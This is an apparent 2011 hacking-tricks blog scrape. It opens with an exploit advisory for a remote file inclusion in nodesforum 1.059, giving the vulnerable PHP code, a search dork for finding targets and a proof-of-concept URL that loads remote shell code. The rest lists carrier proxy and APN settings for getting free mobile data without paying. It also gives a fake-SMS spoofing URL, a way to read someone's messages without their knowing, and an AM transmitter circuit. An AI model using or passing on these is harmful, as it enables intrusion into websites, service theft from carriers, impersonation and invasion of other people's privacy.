2011-08-06T05:11:00.000-07:00

# Exploit Title: nodesforum 1.059 Remote File Inclusion Vulnerability

# Google Dork: inurl: powered by Nodesforum

# Date: 6/23/2011

# Author: bd0rk ( bd0rk[at]hackermail.com )

# Software-Download: http://home.nodesforum.com/download?file=nodesforum_1.059_with_bbcode_1.004.zip

# Tested on: Ubuntu-Linux / WinVista

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Vulnerable Code in 3rd_party_limits.php line 6 - 8

--------------------------------------------------------------------------------------------------------------

$limits_cache_url=$_nodesforum_code_path.'cache/'.$_nodesforum_db_table_name_modifier.'_3rd_party_limits.php';

if(@filemtime($limits_cache_url) && @filemtime($limits_cache_url)>(time()-(24*3600*14)))

{include($limits_cache_url);}

--------------------------------------------------------------------------------------------------------------

The parameter $limits_cache_url is declared with the other parameter $_nodesforum_code_path

So we can use the declared.

PoC: http://[target_host]/nodesforum/3rd_party_limits.php?_nodesforum_code_path=[RemoteShellCode]

Fixtip: Declare $_nodesforum_code_path, likewise!

Greetings: Kathrin J., Perle, x0r_32 and ZUBAIR ANJUM ;-)

#### The 22 years old, german Hacker bd0rk #### <---white-hat

FREE GPRS WITH GOOGLE LIKE PAID GPRS

2011-08-06T01:45:00.002-07:00

For using this you have nokia s60v3 or s60v2 mobile or whose mobile who support dns adress in setting.

ok it is simple trick if you know how make the setting in phones. we are using google dns ip for free gprs. for using this make a new gprs setting as below(read carefully).

name-docomo
apn-tata.docomo.internet
authentication- change secure to normal
now press option and go to advance setting
and in dns server click now you see two line
in first line put dns

0.0.0.0 to 8.8.8.8
in second line
0.0.0.0 to 8.8.4.4

now save it. and other filds same do't change.now save it and set in your web browser.
now you done.

open any site in browser or use any application .It is open free and if your area 3g then find rocket speed.

FREE NET MANUAL SETTING ON TATA DOCOMO

2011-08-06T01:45:00.000-07:00

APN: tata.docomo.dive.in

Wap:Proxy: 010.124.094.009 (use in wap not in http)

homepage: google.com

Get 3G Speed In 2G Internet Plans TATA DOCOMO

2011-08-06T01:43:00.000-07:00

Hello frendz check here docomo 3g simple trick=> Many of docomo users faces problem of speed capping or throting by docomo in 2g plans

1. Simple trick is here if u recharge to lowest
3G Recharge before the
48 recharge it should give
u 3g speed , In short recharge it with
smallest 3G voucher and than with
2g plan you will get 3g speed. FORE MORE dial *141#
and select 3g data plan select lowest
data plan and use it Try it and reply Enjoy guys 2.Another trick for 3g speed in 2g Plan Just do this below settings and you are done with the speed plans.

1. First activate your Tata Docomo 2G Internet Plan Of 15 rs (500MB)
2. And then make your balance to 1-2 rs
3. Now dial *141# and then select “3G Internet Plans” and select your state
4. Now activate lowest 3G Internet plans like of 11 rs or 9 rs
5. Now you will get the message of no balance so we can’t activate this 3G plan
6. Just ignore this message and now check your internet downloading speed of Tata Docomo 3G
7. Enjoy 3G Speed In Old 2G Internet Plans In Tata Docomo

Note :This Tricks will only work where their is Tata Docomo 3G networks. Will work where you get the Tata Docomo 3G Networks
Here Is step By step Procedure..
Send:*141*1# Receive:3G Packs- Choose your region (Available in select towns):
1.UPW 2.PUN 3.HAR 4.GUJ 5.RAJ 6.MP 7.KER 8.KAR 9.MAH Send:2 Receive:1.10MB free 3G @Rs.11
2.25MB Free 3G @ Rs.21
3.50MB Free 3G @ Rs.39
4.100MB Free 3G @ Rs.90
5.250MB Free 3G @ Rs.201
6.500MB Free 3G @ Rs.351
Send:1 Receive:Hi! You have requested for a pack that is valid for 1 day. Select 1 to activate or select 2 to go back to the main menu 1.Activate 2.Back Send:1 Receive:Hi! We have received your request. This will be activated within 2 hours.

FREE NET FOR CHINA PHONES WITH RESUME SUPPRT

2011-08-06T01:40:00.002-07:00

Apn:airtelgprs.com(airtel)
Apn:rcomnet.com(rim)
proxy:nobodycanstop.us
or 69.162.137.195
port:80
H.p:http://122.170.122.191.motherproxy.info
or http://122.170.122.191.freemenet.com

Rim latest 2G/3G trick with high bal. working all over india.

2011-08-06T01:40:00.000-07:00

Apn:rcomnet/smartnet
proxy:64.255.180.253
port:80

Download any s/w like uc,opera,bolt handler...

Make these settings in handler app..
Proxy type:http
proxy server:wap.rworld.co.in
don't make change in any other settings.
Than install it & u r done

RIM AIRTEL VIDEOCON FREE GPRS WITH DEFAULT BROWSER

2011-08-06T01:38:00.001-07:00

VideoCon+Airtel+Rim Free Gprs with Default Browser:

Just Create a new setting

name- Free net
apn- vinternet.com(vdocon) apn- rcomnet(rim) apn- airtelgprs.com(airtel)
proxy- 150.161.2.9
port- 80
home - 0.facebook.com/~mgr/proxy

now save and exit next open your homepage. u will find a url box there just put your url and browse + download unlimited

Note : Dont try at high balance

RELIANCE FREE NET On PC USE OPENVPN

2011-08-06T01:37:00.000-07:00

Just Follow These Steps

1. download openVPN http://swupdate.openvpn.net/community/releases/openvpn-2.1.4-install.exe

2. download openVPN config file http://www.freeopenvpn.com/download/freeopenvpn.zip

3. Extract openvpn config files to C:/ProgramFiles/OpenVPN/config

4. Connect with rcomwap access point

5. in taskbar click right click on openvpn gui and click on proxy setting

6. click on manual configuration, click HTTP proxy, write 10.239.221.5 in address and 80 in port and click ok

7. now again right click on openvpn gui and click connect

Note: Try At Low Balance.

FREASH PROXY FOR RIM & AIRTEL WORKING

2011-08-06T01:36:00.000-07:00

proxy : c-75-68-49-100.hsd1.nh.comcast.net

port : 80

apn: Rcomnet(rim) apn: airtelgprs.com(airtel)

homepage : 0.facebook.com/proxy/index.php

You can use this proxy for pc and mobile for mobile use default browser or opera 8.65
and for pc just open firefox and goto
MENU TAB > OPTIONS >ADVANCED> NETWORK>SETTINGS>MANUAL PROXY CONFIGURATION.. NOW PUT HTTP PROXY AND PORT.

RELIANCE FREE GPRS TRICKS

2011-08-06T01:33:00.001-07:00

Just create a new setting
Apn:smartnet/rcomnet
Proxy:64.255.180.253
Port:80
Now open any opera handler and proxy type http 0.facebook.com and enjoy free browsing and downloading working 0 balance

Open any handler opera
Use front query ashttp://rl.smp.mcore.com.www.flyproxy.com/nph-proxy.pl/0A/http/
And http server:http://rl.smp.mcore.com.server4.operamini.com
Socket server:http://rl.smp.mcore.com.server4.operamini.com:1080
Enjoy free browsing and downloading at 0.balance

RELIANCE 2G & 3G TRICK

2011-08-06T01:32:00.001-07:00

Apn:rcomnet
Proxy:10.239.242.253
Port:80

http://202.46.200.191.server4.operamini.com

Send Fake SMS

2011-08-06T01:30:00.000-07:00

Send Fake SMS In Reilance
http://202.54.124.168/sms.php?from=**********&to=enemy number&text=hackingcrackingtricks.blogspot.co

FREE GPRS IN RELIANCE MOBILE

2011-08-06T01:27:00.001-07:00

Free GPRS|3G For Reliance is Back with a Bang through 69.171.240.109 which is a Facebook IP

It Works Free On Any Balance on rcomwap settings
Use these settings

apn : rcomwap
proxy : 10.239.221.7/5/22
port : 8080
ip : 69.171.240.109
so i tell you how you use in handler browser...

Opera Mini Server For Handler Opera Mini Apps :

in primary server put this....
http://69.171.240.109.php.server4.operamini.com

in secondary server put this....
socket\\://69.171.240.109.php.server4.operamini.com

Front Query For PC/Other Apps :
http://69.171.240.109.php.flyproxy.com/nph-proxy.pl/111100A/http/

then save it and click it ok. you can use this with other handler application.

VODAFONE 350MB FREE INTERNET

2011-08-06T01:17:00.000-07:00

VODAFONE FREE GPRS OFFER FROM

VF. BUDDY SPACE UR NUMBER AND SEND IT TO 144.AND U example-BUDDY 9889000000 to 144 GET 350MB DATA. FOR ONE DAY. NEXT DAY U USING SAME PROCESS for free uses.

VODAFONE FREE SMS TRICK

2011-08-06T01:15:00.000-07:00

vodafone, get free sms in vodafone.

Yes its vodafone, the trick is very simpleand will only 1 rs.

Just check out the trick. 100 local Sms for 1 rs with lifetime validity in Vodafone Vodafone Free 100 LOCAL/STD SMS Trick For 1Rs With NO VALIDITY:-

1.Send ?ACT BONUS 1′ To 144
2.Send One Message To Any Number
3.Send ?CAN BONUS 1′ To 144 Enjoy

VODAFONE HACKED FOR PC INTERNET

2011-08-06T01:09:00.000-07:00

Vodafone provide two type of gprs connection for d users:
1) Vodafone Live (Wap,Handset based)
2) Vodafone Mobile connect (Wap + Web,Handset and PC based)
Now we gonna hacked vodafone live for full net experience throughout PC!!

As wap plan(vodafone live plan) is nearly available evrywhr in india.. (for e.g. 98 unlimited browsing plan available in d circle of bihar and jharkkhand)

By this wap plan..we can browse unlimited in mobile.. bt only browse..not download!!

Now just hack it for pc and enjoy net experince wid unlimitd browsing and downloading..

just recharge ur mobile wid any wap plan available in ur circle and then
Connect ur mobile through
APN "portalnmms" to pc..
now U need a proxifier..(i have attached below wid key)

Just configure it to use
Proxy - 10.10.1.100
Port - 9401
Protocol - HTTPS
Hey..u done it......now enjoy unlimitd browsing as well as downloading to PC..

low-cost-powerful-am-transmitter

2011-08-04T05:38:00.001-07:00

Low Cost Powerful AM Transmitter (13Km)

This is a simple AM Transmitter Circuit, but Its very powerful one. It can transmit SW range signals within 13Km circular area. Use external antenna for best results. I recommend you to use 12V battery as the power supply. If you hope to use 12V AC-DC adapter, you may want to generate a very smooth DC out put using stabilizer, unless It will generate low frequency hum when listening to radio out put. Better to read following instructions before assembling the circuit.

>> L1 Coil Use 22SWG copper wire and wind 10 turns, Insert a ferrite rod in to the coil. see figure 1.

>> L2 Coil
Use 22SWG Copper wire and wind 10 turns. Don't use a ferrite rod. Coil diameter is 0.6 cm ( 1/4' ).

>> X-tal (Crystal)Use 4.4333MHz crystal.

>> Transistor pin identification
Use following diagram for identify the pinout of BFY50 transistor.
NOTE : I strongly recommend to use heat sink for the Transistor. unless it will die within few minutes. And also never apply the power to circuit without connecting Antenna, It also causes to harm the Transistor.

>> Antenna (Use this cable for best results, otherwise you can use any type of copper wire(at least 2meters long))

Warning : This project just for educational purposes only. If you want to use this circuit for long time you should get a permit.

Read Message Without Opening Any Message

2011-08-04T05:13:00.001-07:00

1.When any massage come in your mobile then don't open it.
2. go into inbox. You will see that massage as unread i.e. U will see envelop symbol.
3. then go to option and select forward, you will see all massage. Don't forward it. Then select exit and you will see the envelop symbol i.e. Unreaded massage as it is. By this you can read massages of friends mobile without knowing him.

Thanks To Satyam